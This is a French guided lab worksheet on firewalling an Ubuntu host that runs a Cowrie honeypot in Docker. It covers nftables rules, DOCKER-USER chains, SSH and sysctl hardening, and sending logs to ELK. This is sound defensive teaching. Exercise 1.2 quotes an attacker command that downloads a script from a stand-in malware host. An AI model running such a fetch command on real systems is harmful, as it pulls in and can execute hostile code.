

TP — Pare-feu d'un honeypot Cowrie

Ubuntu 24.04 · nftables · Docker · envoi des logs vers ELK

Travaux pratiques guidés : tu réalises toutes les manipulations toi-même.
Chaque exercice donne un objectif, des indices et une méthode de vérification.

Élément	Valeur
Machine	k8sking.master.com — 192.168.1.63/24 (Wi-Fi wlp3s0)
Accès admin	SSH port 2727, clés uniquement, depuis 192.168.1.33
État initial	ruleset nft vide, ufw inactif, seul sshd:2727 en écoute
Objectif	N'autoriser en sortie vers le LAN que l'envoi des logs à la VM ELK

Livrables attendus : (1) tableau du cahier des charges rempli + réponses aux exos 1.2 et 2.1 ; (2) /etc/nftables.conf final + sorties nmap depuis le PC admin et depuis une autre VM ; (3) règles DOCKER-USER + chemin du paquet expliqué ; (4) score lynis avant/après.

0. Le paysage des outils

Sur Ubuntu 24.04, **il n'y a qu'un seul moteur de filtrage dans le noyau : `nf_tables`**. Les outils que tu vois installés sont des interfaces vers ce même moteur :

Outil	C'est quoi	À utiliser ?
nft	L'outil natif de <code>nftables</code> .	Oui — c'est ce qu'on apprend ici.
iptables	Couche de compatibilité : traduit la syntaxe <code>iptables</code> vers <code>nftables</code> (<code>iptables v1.8.10 (nf_tables)</code>).	Seulement parce que Docker l'utilise.
iptables-legacy	L'ancien moteur <code>x_tables</code> . Deux moteurs en parallèle = règles invisibles l'un pour l'autre.	Non — piège classique.
ufw	Sur-couche « simple » qui génère des règles <code>iptables</code> .	Non ici : conflits avec Docker, et ça cache la mécanique.

Exo 0.1 — Un seul moteur

Prouve-toi que `iptables` et `nft` parlent de la même chose :

```
sudo iptables -L -n
sudo nft list ruleset
sudo iptables-legacy -L -n
```

Les deux premiers sont vides ? Normal. Que dit le troisième ? Explique en une phrase pourquoi il serait dangereux d'y avoir des règles.

1. Cahier des charges (avant toute règle)

Un pare-feu s'écrit sur papier d'abord. Remplis les deux tableaux : c'est la vraie première étape.

Entrant — chaîne INPUT (ce qui arrive à la machine elle-même)

Qui	Port / proto	Pourquoi	Décision
192.168.1.33 (ton PC)	<code>tcp/2727</code>	SSH admin	ACCEPT
Internet (via la box)	<code>tcp/22</code> , <code>tcp/23</code> ?	Cowrie (attaquants)	ACCEPT — géré par Docker (voir §4)
Tout le reste	*		DROP

Sortant — chaîne OUTPUT (ce que la machine initie)

Vers	Port / proto	Pourquoi	Décision
VM ELK 192.168.1.____	tcp/____ (5044 Logstash ? 9200 Elasticsearch ?)	Envoi des logs	ACCEPT
DNS	udp+tcp/53	Résolution (apt, docker pull)	ACCEPT ? vers quel serveur ?
Internet	tcp/443, tcp/80	apt, docker pull, unattended-upgrades	ACCEPT permanent ou « mode maintenance » ?
NTP	udp/123	Horloge — des logs bien horodatés sont cruciaux pour un honeypot	ACCEPT
Reste du LAN	*	Rien : si Cowrie est compromis, il ne doit pas pouvoir scanner tes autres VM	DROP

Exo 1.1 — Compléter le cahier des charges

1. IP de la VM ELK et port d'entrée : Filebeat → Logstash (5044) ? Cowrie → Elasticsearch (9200) directement ?
2. Comment les attaquants atteignent Cowrie : redirection de port sur la Freebox (WAN 22 → 192.168.1.63:2222 ?) ou Cowrie écoute directement sur le 22 ?
3. La machine doit-elle sortir sur Internet en permanence (mises à jour automatiques) ou seulement quand tu le décides ?

Exo 1.2 — Question piège

Un honeypot doit-il pouvoir sortir sur Internet ? Que se passe-t-il si un attaquant « dans » Cowrie lance `wget http://malware.example/x.sh` ? Indice : Cowrie émule le shell ; regarde la doc sur `cowrie.cfg` → `[output_*]` et le mode proxy. Réponse attendue en deux phrases.

2. Concepts nftables

Un ruleset nftables est organisé en **table** → **chain** → **rules** :

```
table inet filter {                                # inet = IPv4 + IPv6 dans la même table
    chain input {
        type filter hook input priority 0; policy drop;    # hook = où l'on se branche ; policy = défaut
        ct state established,related accept                # réponses aux connexions déjà acceptées
        iif lo accept                                       # loopback
        ...
    }
}
```

- **hook input** = paquets destinés à la machine. **hook output** = paquets émis par la machine. **hook forward** = paquets qui *traversent* la machine (c'est là que vit Docker !).
- **policy drop** : tout ce qui n'a pas matché en fin de chaîne est jeté.
- **ct state** (conntrack) : le pare-feu est à état. Tu autorises l'ouverture d'une connexion, et les réponses passent automatiquement grâce à `established, related`.

Exo 2.1 — Trouver le bug qui te fait perdre la machine

Sans l'appliquer, explique ligne par ligne ce ruleset et repère l'erreur :

```
table inet filter {
    chain input {
        type filter hook input priority 0; policy drop;
```

```

        iif lo accept
        tcp dport 2727 ip saddr 192.168.1.33 accept
        ct state established,related accept
    }
    chain output {
        type filter hook output priority 0; policy drop;
        oif lo accept
        ip daddr 192.168.1.50 tcp dport 5044 accept
    }
}

```

Indice : pense à ta session SSH actuelle et regarde attentivement la chaîne output.

3. Mise en place sans se couper la branche

Règle d'or : toute modification de pare-feu à distance se fait avec un filet de sécurité et un second terminal SSH déjà ouvert.

Exo 3.1 — Le filet de sécurité

Ouvre un **deuxième terminal SSH** et laisse-le ouvert. Dans le premier, prépare ceci :

```
sudo bash -c 'sleep 120 && nft flush ruleset' &
```

Explique ce que fait cette ligne, et pourquoi il faudra la kill une fois que tu auras confirmé que tout fonctionne. Alternative plus propre à chercher : `at` ou `systemd-run --on-active=120`.

Exo 3.2 — Écrire le ruleset

Écris ton ruleset dans `/etc/nftables.conf` (fichier chargé au démarrage par `nftables.service`). Structure minimale attendue :

```

#!/usr/sbin/nft -f
flush ruleset

define ADMIN_IP = 192.168.1.33
define ELK_IP   = 192.168.1.____
define ELK_PORT = ____

table inet filter {
    chain input { ... }
    chain output { ... }
}

```

Contraintes à respecter (les règles elles-mêmes sont ton travail) :

1. `policy drop` sur **input** et sur **output**.
2. `lo` accepté dans les deux sens.
3. `established,related` accepté dans les deux sens ; ajoute `ct state invalid drop` en premier.
4. ICMP : autorise au moins `echo-request` depuis le LAN en entrée (pour pouvoir ping la machine) et les erreurs ICMP (`destination-unreachable`, `time-exceeded`). Indice : `icmp type { ... }` et `icmpv6 type { ... }`.
5. SSH 2727 **uniquement** depuis `$ADMIN_IP`.
6. Sortie : ELK, DNS, NTP, et HTTP/HTTPS selon ta décision de l'exo 1.1.
7. **Une règle log juste avant le drop implicite en sortie** : `log prefix "OUT-DROP "`
`limit rate 5/minute`. C'est ce qui te dira ce que tu as oublié. Où lit-on ces logs ?
`(journalctl -k / dmesg)`

Vérifier la syntaxe **sans appliquer**, puis appliquer, puis relire :

```
sudo nft -c -f /etc/nftables.conf      # -c = check only
sudo nft -f /etc/nftables.conf
sudo nft list ruleset
```

Exo 3.3 — Tests

Depuis la machine :

Commande	Résultat attendu
ping -c1 1.1.1.1	Passe ou non selon ton choix (exo 1.1)
curl -sI https://archive.ubuntu.com head -1	HTTP/1.1 200 OK si sortie Internet autorisée
nc -zv 192.168.1.<ELK> <port>	Doit passer
nc -zv 192.168.1.<autre VM> 22	Doit échouer et produire une ligne OUT-DROP dans dmesg

Depuis ton PC, puis depuis une **autre** VM du LAN :

```
nmap -p 2727,22,23 192.168.1.63      # depuis l'autre VM, le 2727 doit être "filtered"
```

Quand tout passe : kill %1 (le filet), puis sudo systemctl enable --now nftables, et **reboot** pour prouver que ça survit.

4. Docker : le piège principal

Docker **écrit ses propres règles iptables** au démarrage (chaînes DOCKER, DOCKER-USER, table NAT). Conséquences :

- Un -p 2222:2222 sur un conteneur **ouvre le port à tout le monde** en contournant ta chaîne input : le trafic passe par *nat prerouting* → *forward*, pas par *input*.
- Le trafic *sortant des conteneurs* passe par *forward*, pas par *output* : **ta chaîne output ne filtre pas Cowrie**.

Exo 4.1 — Constater le contournement

Installe Docker (dépôt officiel), puis :

```
docker run -d -p 8080:80 nginx
sudo nft list ruleset      # combien de tables maintenant ?
# depuis ton PC :
curl 192.168.1.63:8080
```

Ça passe alors que ton input est en policy drop. Explique pourquoi en dessinant le chemin du paquet : prerouting (nat) → forward → conteneur.

Exo 4.2 — La chaîne DOCKER-USER

Docker a prévu un point d'accroche pour toi : la chaîne DOCKER-USER (table ip filter), évaluée **avant** les règles Docker dans forward. Écris-y, en syntaxe iptables :

1. Autoriser established, related.
2. Autoriser l'entrée vers les ports Cowrie depuis n'importe où (les attaquants).
3. Autoriser la sortie des conteneurs uniquement vers ELK (si c'est Cowrie qui envoie) ; sinon **rien** vers le LAN (-d 192.168.1.0/24 -j DROP) et logger.
4. Réfléchis : faut-il autoriser les conteneurs à sortir sur Internet ? (retour à l'exo 1.2)

Indice de forme — décortique cette ligne avant de l'adapter :

```
sudo iptables -I DOCKER-USER 1 -i docker0 -d 192.168.1.0/24 ! -d $ELK_IP -j DROP
```

Comment rendre ces règles persistantes alors que Docker recrée la chaîne à chaque redémarrage ? Compare trois pistes : iptables-persistent ; un drop-in systemd

ExecStartPost sur docker.service ; une chaîne nft dans forward avec une priorité plus basse.

Exo 4.3 (bonus) — Tout faire en nft

Alternative : "iptables" : false dans /etc/docker/daemon.json, et tu fais tout le NAT toi-même en nft. Plus propre, plus dur. Liste les avantages et inconvénients en quatre lignes.

5. Durcissement autour du pare-feu

Chaque point est un mini-exercice « fais-le, montre-moi la preuve ».

5.1 — SSH

Dans sshd_config : AllowUsers ubuserv@192.168.1.33, MaxAuthTries 3, X11Forwarding no, AllowTcpForwarding no. Vérifie avec :

```
sudo sshd -t && sudo sshd -T | grep -Ei 'allowusers|maxauth|x11forwarding|allowtcpforwarding'
```

Question : tu as déjà déplacé le vrai SSH sur 2727. Explique quand même le risque si Cowrie écoute sur 2222 et le vrai SSH sur 2727 (indice : nmap -sV).

5.2 — fail2ban

Crée /etc/fail2ban/jail.local avec le jail sshd sur le port 2727 et ignoreip = 192.168.1.33. Vérifie avec sudo fail2ban-client status sshd. *Question* : fail2ban écrit ses règles où ? (sudo nft list ruleset | grep -i f2b). Compatibilité avec ta table inet filter ?

5.3 — sysctl

Crée /etc/sysctl.d/90-hardening.conf avec :

```
net.ipv4.conf.all.rp_filter = 1
net.ipv4.conf.all.accept_redirects = 0
net.ipv4.conf.all.send_redirects = 0
net.ipv4.tcp_syncookies = 1
net.ipv4.conf.all.log_martians = 1
```

Pour chaque ligne, une phrase : contre quoi ça protège ? Applique avec sudo sysctl --system.

5.4 — unattended-upgrades

Vérifie qu'il n'est pas bloqué par tes règles de sortie : sudo unattended-upgrade --dry-run --debug.

5.5 — Fichier netplan

/etc/netplan/50-cloud-init.yaml appartient à ubuserv et est lisible par tous alors qu'il contient le mot de passe Wi-Fi. Corrige les droits, puis corrige gateway4: 10.0.0.1 qui n'est pas dans ton sous-réseau (probablement 192.168.1.254 pour une Freebox — vérifie avec ip route depuis ton PC).

```
sudo chown root:root /etc/netplan/50-cloud-init.yaml
sudo chmod 600 /etc/netplan/50-cloud-init.yaml
sudo netplan try          # pourquoi "try" et pas "apply" ? même logique que l'exo 3.1
```

5.6 — lynis

sudo lynis audit system au début et à la fin du TP : note le « hardening index » avant/après.

Annexe — Aide-mémoire nft

Commande	Effet
nft list ruleset	Affiche toutes les règles actives
nft -c -f fichier	Vérifie la syntaxe sans appliquer
nft -f fichier	Charge le fichier (avec flush ruleset en tête pour repartir de zéro)
nft flush ruleset	Supprime toutes les règles (tout passe)
nft list ruleset -a	Affiche les handles pour supprimer une règle précise
nft delete rule inet filter output handle N	Supprime la règle de handle N
nft add rule inet filter input ... counter accept	Ajoute une règle avec compteur (utile pour déboguer)
journalctl -k -f grep OUT-DROP	Suit en direct ce que tes règles rejettent

Matches courants

Expression	Signification
iif lo / oif lo	Interface d'entrée / de sortie
ip saddr 192.168.1.33	Adresse source IPv4
ip daddr 192.168.1.0/24	Destination dans le sous-réseau
tcp dport { 80, 443 }	Port destination TCP dans un ensemble
udp dport 53	Port destination UDP
ct state established,related	Connexion déjà connue de conntrack
ct state invalid	Paquet incohérent (à dropper)
icmp type echo-request	Ping IPv4 (icmpv6 type echo-request pour IPv6)
log prefix "X " limit rate 5/minute	Journalise avec préfixe, limité pour ne pas inonder

Chemin d'un paquet (à retenir)

Paquet destiné à la machine : prerouting -> INPUT -> processus local
Paquet émis par la machine : processus -> OUTPUT -> postrouting
Paquet vers/depuis un conteneur (Docker, -p) :
 prerouting (nat DNAT) -> FORWARD (DOCKER-USER puis DOCKER) -> conteneur
 conteneur -> FORWARD -> postrouting (nat MASQUERADE) -> LAN / Internet